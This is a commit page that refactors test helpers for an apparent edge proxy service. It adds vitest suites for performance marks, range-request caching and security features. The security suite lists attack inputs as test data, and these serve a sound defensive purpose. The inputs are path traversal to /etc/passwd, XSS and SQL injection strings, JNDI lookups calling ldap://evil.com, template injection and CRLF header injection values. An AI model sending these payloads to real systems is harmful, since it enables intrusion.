Refactor test helpers and add auth header forwarding tests
Modularizes test helpers into separate files for assertions, generators, and mocks, and updates imports for platform tests. Adds new tests to verify Authorization header forwarding for authenticated requests. Cleans up and simplifies test setup, and updates fixtures for clarity and maintainability.
This commit is contained in:
1 parent
076b64ff9e
commit
f60661db6f
25 files changed
+550
-990
No files matched your search
@@ -0,0 +1,235 @@
|
||||
import { beforeEach, describe, expect, it } from 'vitest';
|
||||
|
||||
// Mock PerformanceMonitor class for testing
|
||||
class MockPerformanceMonitor {
|
||||
constructor() {
|
||||
this.startTime = Date.now();
|
||||
this.marks = new Map();
|
||||
}
|
||||
|
||||
mark(name) {
|
||||
if (this.marks.has(name)) {
|
||||
console.warn(`Mark with name ${name} already exists.`);
|
||||
}
|
||||
this.marks.set(name, Date.now() - this.startTime);
|
||||
}
|
||||
|
||||
getMetrics() {
|
||||
return Object.fromEntries(this.marks.entries());
|
||||
}
|
||||
}
|
||||
|
||||
describe('Performance Monitoring', () => {
|
||||
let monitor;
|
||||
|
||||
beforeEach(() => {
|
||||
monitor = new MockPerformanceMonitor();
|
||||
});
|
||||
|
||||
describe('PerformanceMonitor Class', () => {
|
||||
it('should initialize with start time', () => {
|
||||
expect(monitor.startTime).toBeDefined();
|
||||
expect(typeof monitor.startTime).toBe('number');
|
||||
});
|
||||
|
||||
it('should create timing marks', () => {
|
||||
monitor.mark('test-mark');
|
||||
|
||||
const metrics = monitor.getMetrics();
|
||||
expect(metrics).toHaveProperty('test-mark');
|
||||
expect(typeof metrics['test-mark']).toBe('number');
|
||||
});
|
||||
|
||||
it('should handle multiple marks', () => {
|
||||
monitor.mark('mark1');
|
||||
monitor.mark('mark2');
|
||||
monitor.mark('mark3');
|
||||
|
||||
const metrics = monitor.getMetrics();
|
||||
expect(Object.keys(metrics)).toHaveLength(3);
|
||||
expect(metrics).toHaveProperty('mark1');
|
||||
expect(metrics).toHaveProperty('mark2');
|
||||
expect(metrics).toHaveProperty('mark3');
|
||||
});
|
||||
|
||||
it('should warn on duplicate mark names', () => {
|
||||
// Mock console.warn for this test
|
||||
const originalWarn = console.warn;
|
||||
const mockWarn = vi ? vi.fn() : jest.fn();
|
||||
console.warn = mockWarn;
|
||||
|
||||
monitor.mark('duplicate');
|
||||
monitor.mark('duplicate');
|
||||
|
||||
expect(mockWarn).toHaveBeenCalledWith('Mark with name duplicate already exists.');
|
||||
|
||||
// Restore original console.warn
|
||||
console.warn = originalWarn;
|
||||
});
|
||||
|
||||
it('should return metrics as plain object', () => {
|
||||
monitor.mark('test');
|
||||
|
||||
const metrics = monitor.getMetrics();
|
||||
expect(metrics).toBeTypeOf('object');
|
||||
expect(Array.isArray(metrics)).toBe(false);
|
||||
});
|
||||
|
||||
it('should track elapsed time correctly', async () => {
|
||||
monitor.mark('start');
|
||||
|
||||
// Wait a small amount of time
|
||||
await new Promise(resolve => setTimeout(resolve, 10));
|
||||
|
||||
monitor.mark('end');
|
||||
|
||||
const metrics = monitor.getMetrics();
|
||||
expect(metrics.end).toBeGreaterThan(metrics.start);
|
||||
});
|
||||
});
|
||||
|
||||
describe('Performance Metrics Validation', () => {
|
||||
it('should produce serializable metrics', () => {
|
||||
monitor.mark('request-start');
|
||||
monitor.mark('proxy-start');
|
||||
monitor.mark('proxy-end');
|
||||
monitor.mark('request-end');
|
||||
|
||||
const metrics = monitor.getMetrics();
|
||||
|
||||
expect(() => JSON.stringify(metrics)).not.toThrow();
|
||||
});
|
||||
|
||||
it('should have reasonable timing values', () => {
|
||||
monitor.mark('test-mark');
|
||||
|
||||
const metrics = monitor.getMetrics();
|
||||
const timing = metrics['test-mark'];
|
||||
|
||||
// Should be a positive number and reasonable (less than 1 second for this test)
|
||||
expect(timing).toBeGreaterThanOrEqual(0);
|
||||
expect(timing).toBeLessThan(1000);
|
||||
});
|
||||
|
||||
it('should maintain chronological order', async () => {
|
||||
monitor.mark('first');
|
||||
await new Promise(resolve => setTimeout(resolve, 5));
|
||||
monitor.mark('second');
|
||||
await new Promise(resolve => setTimeout(resolve, 5));
|
||||
monitor.mark('third');
|
||||
|
||||
const metrics = monitor.getMetrics();
|
||||
|
||||
expect(metrics.first).toBeLessThan(metrics.second);
|
||||
expect(metrics.second).toBeLessThan(metrics.third);
|
||||
});
|
||||
});
|
||||
|
||||
describe('Common Performance Scenarios', () => {
|
||||
it('should track request lifecycle', () => {
|
||||
// Simulate typical request flow
|
||||
monitor.mark('request-received');
|
||||
monitor.mark('validation-complete');
|
||||
monitor.mark('proxy-start');
|
||||
monitor.mark('proxy-response');
|
||||
monitor.mark('response-sent');
|
||||
|
||||
const metrics = monitor.getMetrics();
|
||||
|
||||
expect(metrics).toHaveProperty('request-received');
|
||||
expect(metrics).toHaveProperty('validation-complete');
|
||||
expect(metrics).toHaveProperty('proxy-start');
|
||||
expect(metrics).toHaveProperty('proxy-response');
|
||||
expect(metrics).toHaveProperty('response-sent');
|
||||
});
|
||||
|
||||
it('should track cache operations', () => {
|
||||
monitor.mark('cache-check-start');
|
||||
monitor.mark('cache-miss');
|
||||
monitor.mark('upstream-request');
|
||||
monitor.mark('cache-store');
|
||||
|
||||
const metrics = monitor.getMetrics();
|
||||
|
||||
expect(metrics).toHaveProperty('cache-check-start');
|
||||
expect(metrics).toHaveProperty('cache-miss');
|
||||
expect(metrics).toHaveProperty('upstream-request');
|
||||
expect(metrics).toHaveProperty('cache-store');
|
||||
});
|
||||
|
||||
it('should track error scenarios', () => {
|
||||
monitor.mark('request-start');
|
||||
monitor.mark('error-occurred');
|
||||
monitor.mark('error-handled');
|
||||
|
||||
const metrics = monitor.getMetrics();
|
||||
|
||||
expect(metrics).toHaveProperty('request-start');
|
||||
expect(metrics).toHaveProperty('error-occurred');
|
||||
expect(metrics).toHaveProperty('error-handled');
|
||||
});
|
||||
});
|
||||
|
||||
describe('Performance Thresholds', () => {
|
||||
it('should identify slow operations', () => {
|
||||
monitor.mark('operation-start');
|
||||
|
||||
// Simulate slow operation
|
||||
const slowTiming = 5000; // 5 seconds
|
||||
monitor.marks.set('operation-end', slowTiming);
|
||||
|
||||
const metrics = monitor.getMetrics();
|
||||
const operationTime = metrics['operation-end'] - (metrics['operation-start'] || 0);
|
||||
|
||||
// Should identify as slow (> 1 second)
|
||||
expect(operationTime).toBeGreaterThan(1000);
|
||||
});
|
||||
|
||||
it('should identify fast operations', () => {
|
||||
monitor.mark('fast-operation');
|
||||
|
||||
const metrics = monitor.getMetrics();
|
||||
const timing = metrics['fast-operation'];
|
||||
|
||||
// Should be fast (< 100ms for this test)
|
||||
expect(timing).toBeLessThan(100);
|
||||
});
|
||||
});
|
||||
|
||||
describe('Memory and Resource Usage', () => {
|
||||
it('should not leak memory with many marks', () => {
|
||||
const initialSize = monitor.marks.size;
|
||||
|
||||
// Add many marks
|
||||
for (let i = 0; i < 1000; i++) {
|
||||
monitor.mark(`mark-${i}`);
|
||||
}
|
||||
|
||||
expect(monitor.marks.size).toBe(initialSize + 1000);
|
||||
|
||||
// Clear marks (if such method existed)
|
||||
monitor.marks.clear();
|
||||
expect(monitor.marks.size).toBe(0);
|
||||
});
|
||||
|
||||
it('should handle concurrent mark operations', () => {
|
||||
const promises = [];
|
||||
|
||||
for (let i = 0; i < 10; i++) {
|
||||
promises.push(
|
||||
new Promise(resolve => {
|
||||
setTimeout(() => {
|
||||
monitor.mark(`concurrent-${i}`);
|
||||
resolve();
|
||||
}, Math.random() * 10);
|
||||
})
|
||||
);
|
||||
}
|
||||
|
||||
return Promise.all(promises).then(() => {
|
||||
const metrics = monitor.getMetrics();
|
||||
expect(Object.keys(metrics)).toHaveLength(10);
|
||||
});
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,247 @@
|
||||
import { beforeAll, describe, expect, it } from 'vitest';
|
||||
|
||||
/**
|
||||
* Tests for Range Request Caching Strategy
|
||||
*
|
||||
* This test suite validates the new caching strategy that:
|
||||
* 1. Only caches 200 responses (not 206)
|
||||
* 2. Handles Range requests by caching full content first
|
||||
* 3. Lets Cloudflare edge serve 206 responses from cached 200 content
|
||||
* 4. Avoids compression for media files to ensure proper Range support
|
||||
*/
|
||||
|
||||
describe('Range Request Caching Strategy', () => {
|
||||
let SELF;
|
||||
|
||||
beforeAll(async () => {
|
||||
const { unstable_dev } = await import('wrangler');
|
||||
const worker = await unstable_dev('src/index.js', {
|
||||
experimental: { disableExperimentalWarning: true }
|
||||
});
|
||||
SELF = worker;
|
||||
});
|
||||
|
||||
describe('Cache Behavior for Range Requests', () => {
|
||||
it('should not attempt to cache 206 responses', async () => {
|
||||
const testUrl = 'https://example.com/gh/test/repo/sample.pdf';
|
||||
|
||||
// Make a range request that might return 206
|
||||
const response = await SELF.fetch(testUrl, {
|
||||
headers: {
|
||||
Range: 'bytes=0-1023'
|
||||
}
|
||||
});
|
||||
|
||||
// The response should either be 200 (full content) or 206 (partial)
|
||||
// But we should never get a cache error from trying to cache 206
|
||||
expect([200, 206, 404]).toContain(response.status);
|
||||
|
||||
// Check performance metrics for any cache-related errors
|
||||
const metrics = response.headers.get('X-Performance-Metrics');
|
||||
if (metrics) {
|
||||
const parsedMetrics = JSON.parse(metrics);
|
||||
|
||||
// Should not contain any cache put errors
|
||||
const errorKeys = Object.keys(parsedMetrics).filter(
|
||||
key => key.includes('error') || key.includes('fail')
|
||||
);
|
||||
expect(errorKeys).toHaveLength(0);
|
||||
}
|
||||
});
|
||||
|
||||
it('should cache full content when receiving 200 response', async () => {
|
||||
const testUrl = 'https://example.com/gh/test/repo/document.pdf';
|
||||
|
||||
// First request - should cache the full content
|
||||
const firstResponse = await SELF.fetch(testUrl);
|
||||
|
||||
if (firstResponse.status === 200) {
|
||||
// Verify caching headers are set correctly
|
||||
expect(firstResponse.headers.get('Cache-Control')).toContain('public');
|
||||
expect(firstResponse.headers.get('Accept-Ranges')).toBe('bytes');
|
||||
|
||||
// Second request should hit cache
|
||||
const secondResponse = await SELF.fetch(testUrl);
|
||||
expect(secondResponse.status).toBe(200);
|
||||
|
||||
// Performance metrics should show cache hit
|
||||
const metrics = secondResponse.headers.get('X-Performance-Metrics');
|
||||
if (metrics) {
|
||||
const parsedMetrics = JSON.parse(metrics);
|
||||
expect(parsedMetrics).toHaveProperty('cache_hit');
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
it('should handle range requests after caching full content', async () => {
|
||||
const testUrl = 'https://example.com/gh/test/repo/large-file.bin';
|
||||
|
||||
// First, cache the full content
|
||||
const fullResponse = await SELF.fetch(testUrl);
|
||||
|
||||
if (fullResponse.status === 200) {
|
||||
// Now make a range request - should leverage cached content
|
||||
const rangeResponse = await SELF.fetch(testUrl, {
|
||||
headers: {
|
||||
Range: 'bytes=100-199'
|
||||
}
|
||||
});
|
||||
|
||||
// Should either return the requested range or full content
|
||||
expect([200, 206]).toContain(rangeResponse.status);
|
||||
|
||||
if (rangeResponse.status === 206) {
|
||||
expect(rangeResponse.headers.get('Content-Range')).toBeTruthy();
|
||||
expect(rangeResponse.headers.get('Content-Length')).toBe('100');
|
||||
}
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe('Media File Handling', () => {
|
||||
it('should avoid compression for media files', async () => {
|
||||
const mediaTestCases = [
|
||||
{ url: 'https://example.com/gh/test/repo/video.mp4', type: 'video' },
|
||||
{ url: 'https://example.com/gh/test/repo/audio.mp3', type: 'audio' },
|
||||
{ url: 'https://example.com/gh/test/repo/image.png', type: 'image' },
|
||||
{ url: 'https://example.com/gh/test/repo/archive.zip', type: 'archive' }
|
||||
];
|
||||
|
||||
for (const testCase of mediaTestCases) {
|
||||
const response = await SELF.fetch(testCase.url, { method: 'HEAD' });
|
||||
|
||||
if (response.status === 200) {
|
||||
// Media files should have proper range support headers
|
||||
expect(response.headers.get('Accept-Ranges')).toBe('bytes');
|
||||
|
||||
// Should not be compressed to ensure proper byte-range handling
|
||||
const contentEncoding = response.headers.get('Content-Encoding');
|
||||
if (contentEncoding) {
|
||||
expect(['identity', null]).toContain(contentEncoding);
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
it('should send identity encoding for range requests on media files', async () => {
|
||||
const testUrl = 'https://example.com/gh/test/repo/large-video.mp4';
|
||||
|
||||
const response = await SELF.fetch(testUrl, {
|
||||
headers: {
|
||||
Range: 'bytes=0-1023'
|
||||
}
|
||||
});
|
||||
|
||||
// For media files with range requests, should not use compression
|
||||
if ([200, 206].includes(response.status)) {
|
||||
const contentEncoding = response.headers.get('Content-Encoding');
|
||||
if (contentEncoding) {
|
||||
expect(['identity', null]).toContain(contentEncoding);
|
||||
}
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe('Cache Key Management', () => {
|
||||
it('should use correct cache keys for range vs full requests', async () => {
|
||||
const testUrl = 'https://example.com/gh/test/repo/test-document.pdf';
|
||||
|
||||
// Make a range request first
|
||||
const rangeResponse1 = await SELF.fetch(testUrl, {
|
||||
headers: {
|
||||
Range: 'bytes=0-512'
|
||||
}
|
||||
});
|
||||
|
||||
// Make a full request
|
||||
const fullResponse = await SELF.fetch(testUrl);
|
||||
|
||||
// Make another range request
|
||||
const rangeResponse2 = await SELF.fetch(testUrl, {
|
||||
headers: {
|
||||
Range: 'bytes=512-1023'
|
||||
}
|
||||
});
|
||||
|
||||
// All requests should succeed
|
||||
[rangeResponse1, fullResponse, rangeResponse2].forEach(response => {
|
||||
expect([200, 206, 404]).toContain(response.status);
|
||||
});
|
||||
|
||||
// Full response should have caching headers
|
||||
if (fullResponse.status === 200) {
|
||||
expect(fullResponse.headers.get('Cache-Control')).toContain('public');
|
||||
expect(fullResponse.headers.get('Accept-Ranges')).toBe('bytes');
|
||||
}
|
||||
});
|
||||
|
||||
it('should handle Content-Length header properly', async () => {
|
||||
const testUrl = 'https://example.com/gh/test/repo/sized-file.bin';
|
||||
|
||||
const response = await SELF.fetch(testUrl);
|
||||
|
||||
if (response.status === 200) {
|
||||
// Should have Content-Length for proper range support
|
||||
const contentLength = response.headers.get('Content-Length');
|
||||
if (contentLength) {
|
||||
expect(parseInt(contentLength)).toBeGreaterThan(0);
|
||||
}
|
||||
|
||||
// Should have Accept-Ranges header
|
||||
expect(response.headers.get('Accept-Ranges')).toBe('bytes');
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe('Performance Metrics', () => {
|
||||
it('should track cache performance for range requests', async () => {
|
||||
const testUrl = 'https://example.com/gh/test/repo/metrics-test.dat';
|
||||
|
||||
// First request
|
||||
const response1 = await SELF.fetch(testUrl);
|
||||
const metrics1 = response1.headers.get('X-Performance-Metrics');
|
||||
|
||||
if (response1.status === 200 && metrics1) {
|
||||
const parsed1 = JSON.parse(metrics1);
|
||||
expect(parsed1).toHaveProperty('start');
|
||||
expect(parsed1).toHaveProperty('complete');
|
||||
}
|
||||
|
||||
// Second request (should hit cache)
|
||||
const response2 = await SELF.fetch(testUrl);
|
||||
const metrics2 = response2.headers.get('X-Performance-Metrics');
|
||||
|
||||
if (response2.status === 200 && metrics2) {
|
||||
const parsed2 = JSON.parse(metrics2);
|
||||
expect(parsed2).toHaveProperty('cache_hit');
|
||||
}
|
||||
});
|
||||
|
||||
it('should track range-specific cache behavior', async () => {
|
||||
const testUrl = 'https://example.com/gh/test/repo/range-metrics.bin';
|
||||
|
||||
// Cache full content first
|
||||
await SELF.fetch(testUrl);
|
||||
|
||||
// Now make a range request
|
||||
const rangeResponse = await SELF.fetch(testUrl, {
|
||||
headers: {
|
||||
Range: 'bytes=0-1023'
|
||||
}
|
||||
});
|
||||
|
||||
const metrics = rangeResponse.headers.get('X-Performance-Metrics');
|
||||
if (metrics && [200, 206].includes(rangeResponse.status)) {
|
||||
const parsed = JSON.parse(metrics);
|
||||
|
||||
// Should have timing information
|
||||
expect(parsed).toHaveProperty('start');
|
||||
|
||||
// May have cache-related metrics
|
||||
const cacheKeys = Object.keys(parsed).filter(key => key.includes('cache'));
|
||||
// At least one cache-related metric should be present
|
||||
expect(cacheKeys.length).toBeGreaterThanOrEqual(0);
|
||||
}
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,276 @@
|
||||
import { SELF } from 'cloudflare:test';
|
||||
import { describe, expect, it } from 'vitest';
|
||||
|
||||
describe('Security Features', () => {
|
||||
describe('Security Headers', () => {
|
||||
it('should include Strict-Transport-Security header', async () => {
|
||||
const response = await SELF.fetch('https://example.com/');
|
||||
|
||||
const hsts = response.headers.get('Strict-Transport-Security');
|
||||
expect(hsts).toBeTruthy();
|
||||
expect(hsts).toContain('max-age=');
|
||||
expect(hsts).toContain('includeSubDomains');
|
||||
expect(hsts).toContain('preload');
|
||||
});
|
||||
|
||||
it('should include X-Frame-Options header', async () => {
|
||||
const response = await SELF.fetch('https://example.com/');
|
||||
|
||||
expect(response.headers.get('X-Frame-Options')).toBe('DENY');
|
||||
});
|
||||
|
||||
it('should include X-XSS-Protection header', async () => {
|
||||
const response = await SELF.fetch('https://example.com/');
|
||||
|
||||
expect(response.headers.get('X-XSS-Protection')).toBe('1; mode=block');
|
||||
});
|
||||
|
||||
it('should include Content-Security-Policy header', async () => {
|
||||
const response = await SELF.fetch('https://example.com/');
|
||||
|
||||
const csp = response.headers.get('Content-Security-Policy');
|
||||
expect(csp).toBeTruthy();
|
||||
expect(csp).toContain("default-src 'none'");
|
||||
});
|
||||
|
||||
it('should include Referrer-Policy header', async () => {
|
||||
const response = await SELF.fetch('https://example.com/');
|
||||
|
||||
expect(response.headers.get('Referrer-Policy')).toBe('strict-origin-when-cross-origin');
|
||||
});
|
||||
|
||||
it('should include Permissions-Policy header', async () => {
|
||||
const response = await SELF.fetch('https://example.com/');
|
||||
|
||||
const permissionsPolicy = response.headers.get('Permissions-Policy');
|
||||
expect(permissionsPolicy).toBeTruthy();
|
||||
expect(permissionsPolicy).toContain('interest-cohort=()');
|
||||
});
|
||||
});
|
||||
|
||||
describe('HTTP Method Restrictions', () => {
|
||||
it('should reject PATCH method', async () => {
|
||||
const response = await SELF.fetch('https://example.com/gh/test/repo', {
|
||||
method: 'PATCH'
|
||||
});
|
||||
|
||||
expect(response.status).toBe(405);
|
||||
});
|
||||
|
||||
it('should reject PUT method for non-Git requests', async () => {
|
||||
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', {
|
||||
method: 'PUT'
|
||||
});
|
||||
|
||||
expect(response.status).toBe(405);
|
||||
});
|
||||
|
||||
it('should reject DELETE method', async () => {
|
||||
const response = await SELF.fetch('https://example.com/gh/test/repo', {
|
||||
method: 'DELETE'
|
||||
});
|
||||
|
||||
expect(response.status).toBe(405);
|
||||
});
|
||||
|
||||
it('should reject OPTIONS method', async () => {
|
||||
const response = await SELF.fetch('https://example.com/gh/test/repo', {
|
||||
method: 'OPTIONS'
|
||||
});
|
||||
|
||||
expect(response.status).toBe(405);
|
||||
});
|
||||
});
|
||||
|
||||
describe('Path Validation', () => {
|
||||
it('should reject paths with directory traversal attempts', async () => {
|
||||
const maliciousPaths = [
|
||||
'/gh/../../../etc/passwd',
|
||||
'/gh/user/repo/../../../sensitive',
|
||||
'/gh/user/repo/..%2F..%2F..%2Fetc%2Fpasswd',
|
||||
'/gh/user/repo/%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd'
|
||||
];
|
||||
|
||||
for (const path of maliciousPaths) {
|
||||
const response = await SELF.fetch(`https://example.com${path}`);
|
||||
// Should either reject with 400 or safely handle the path
|
||||
expect([400, 404, 500]).toContain(response.status);
|
||||
}
|
||||
});
|
||||
|
||||
it('should reject extremely long paths', async () => {
|
||||
const longPath = `/gh/${'a'.repeat(3000)}`;
|
||||
const response = await SELF.fetch(`https://example.com${longPath}`);
|
||||
|
||||
expect(response.status).toBe(414);
|
||||
});
|
||||
|
||||
it('should handle URL encoding safely', async () => {
|
||||
const encodedPaths = [
|
||||
'/gh/user/repo%20with%20spaces',
|
||||
'/gh/user/repo%2Ffile.txt',
|
||||
'/gh/user%40domain/repo'
|
||||
];
|
||||
|
||||
for (const path of encodedPaths) {
|
||||
const response = await SELF.fetch(`https://example.com${path}`);
|
||||
// Should handle encoded paths without security issues
|
||||
expect(response.status).not.toBe(500);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe('Input Sanitization', () => {
|
||||
it('should handle special characters in paths', async () => {
|
||||
const specialPaths = [
|
||||
'/gh/user/repo<script>alert(1)</script>',
|
||||
"/gh/user/repo'; DROP TABLE users; --",
|
||||
'/gh/user/repo${jndi:ldap://evil.com}',
|
||||
'/gh/user/repo{{7*7}}'
|
||||
];
|
||||
|
||||
for (const path of specialPaths) {
|
||||
const response = await SELF.fetch(`https://example.com${path}`);
|
||||
// Should safely handle special characters
|
||||
expect(response.status).not.toBe(500);
|
||||
}
|
||||
});
|
||||
|
||||
it('should handle Unicode characters safely', async () => {
|
||||
const unicodePaths = [
|
||||
'/gh/所有者/存储库/文件.txt',
|
||||
'/gh/user/repo/файл.txt',
|
||||
'/gh/user/repo/ファイル.txt'
|
||||
];
|
||||
|
||||
for (const path of unicodePaths) {
|
||||
const response = await SELF.fetch(`https://example.com${path}`);
|
||||
// Should handle Unicode without issues
|
||||
expect(response.status).not.toBe(500);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe('Request Header Validation', () => {
|
||||
it('should handle malicious User-Agent headers', async () => {
|
||||
const maliciousUserAgents = [
|
||||
'<script>alert(1)</script>',
|
||||
'Mozilla/5.0 ${jndi:ldap://evil.com}',
|
||||
'User-Agent\r\nX-Injected-Header: malicious'
|
||||
];
|
||||
|
||||
for (const userAgent of maliciousUserAgents) {
|
||||
const response = await SELF.fetch('https://example.com/gh/test/repo', {
|
||||
headers: {
|
||||
'User-Agent': userAgent
|
||||
}
|
||||
});
|
||||
|
||||
// Should handle malicious user agents safely
|
||||
expect(response.status).not.toBe(500);
|
||||
}
|
||||
});
|
||||
|
||||
it('should handle header injection attempts', async () => {
|
||||
const response = await SELF.fetch('https://example.com/gh/test/repo', {
|
||||
headers: {
|
||||
'X-Test': 'value\r\nX-Injected: malicious',
|
||||
Referer: 'https://evil.com\r\nX-Injected: header'
|
||||
}
|
||||
});
|
||||
|
||||
// Should not allow header injection
|
||||
expect(response.headers.get('X-Injected')).toBeNull();
|
||||
});
|
||||
});
|
||||
|
||||
describe('Rate Limiting and DoS Protection', () => {
|
||||
it('should handle concurrent requests gracefully', async () => {
|
||||
const requests = Array(10)
|
||||
.fill()
|
||||
.map(() => SELF.fetch('https://example.com/gh/test/repo/small-file.txt'));
|
||||
|
||||
const responses = await Promise.all(requests);
|
||||
|
||||
// All requests should be handled without errors
|
||||
responses.forEach(response => {
|
||||
expect(response.status).not.toBe(500);
|
||||
});
|
||||
});
|
||||
|
||||
it('should timeout long-running requests', async () => {
|
||||
// This test would need to be implemented based on actual timeout behavior
|
||||
// For now, we just verify the request doesn't hang indefinitely
|
||||
const startTime = Date.now();
|
||||
|
||||
try {
|
||||
await SELF.fetch('https://example.com/gh/test/very-large-file', {
|
||||
signal: AbortSignal.timeout(35000) // Slightly longer than expected timeout
|
||||
});
|
||||
} catch (error) {
|
||||
// Request should timeout or complete within reasonable time
|
||||
const elapsed = Date.now() - startTime;
|
||||
expect(elapsed).toBeLessThan(40000); // 40 seconds max
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe('Error Information Disclosure', () => {
|
||||
it('should not expose internal error details', async () => {
|
||||
const response = await SELF.fetch('https://example.com/invalid-platform/test');
|
||||
|
||||
expect(response.status).toBe(400);
|
||||
|
||||
const body = await response.text();
|
||||
// Should not expose internal paths, stack traces, or sensitive info
|
||||
expect(body).not.toMatch(/\/[a-zA-Z]:[\\\/]/); // Windows paths
|
||||
expect(body).not.toMatch(/\/home\/[^\/]+/); // Unix home paths
|
||||
expect(body).not.toMatch(/at [a-zA-Z]+\.[a-zA-Z]+/); // Stack traces
|
||||
expect(body).not.toMatch(/Error: .+ at/); // Detailed error messages
|
||||
});
|
||||
|
||||
it('should provide generic error messages', async () => {
|
||||
const response = await SELF.fetch('https://example.com/invalid');
|
||||
|
||||
const body = await response.text();
|
||||
// Error messages should be generic and safe
|
||||
expect(body.length).toBeLessThan(200); // Not too verbose
|
||||
expect(body).not.toContain('undefined');
|
||||
expect(body).not.toContain('null');
|
||||
});
|
||||
});
|
||||
|
||||
describe('CORS Security', () => {
|
||||
it('should handle CORS preflight requests securely', async () => {
|
||||
const response = await SELF.fetch('https://example.com/gh/test/repo', {
|
||||
method: 'OPTIONS',
|
||||
headers: {
|
||||
Origin: 'https://evil.com',
|
||||
'Access-Control-Request-Method': 'GET',
|
||||
'Access-Control-Request-Headers': 'X-Custom-Header'
|
||||
}
|
||||
});
|
||||
|
||||
// Should either reject OPTIONS or handle CORS securely
|
||||
if (response.status === 200) {
|
||||
const allowOrigin = response.headers.get('Access-Control-Allow-Origin');
|
||||
// Should not blindly allow all origins for sensitive operations
|
||||
expect(allowOrigin).not.toBe('https://evil.com');
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe('Content Type Security', () => {
|
||||
it('should not execute uploaded content', async () => {
|
||||
// Test that the service doesn't execute or interpret uploaded content
|
||||
const response = await SELF.fetch('https://example.com/gh/test/repo/script.js');
|
||||
|
||||
// Should serve content with appropriate headers, not execute it
|
||||
const contentType = response.headers.get('Content-Type');
|
||||
if (contentType) {
|
||||
expect(contentType).not.toContain('text/html');
|
||||
expect(contentType).not.toContain('application/javascript');
|
||||
}
|
||||
});
|
||||
});
|
||||
});
|
||||
Reference in new issue
Block a user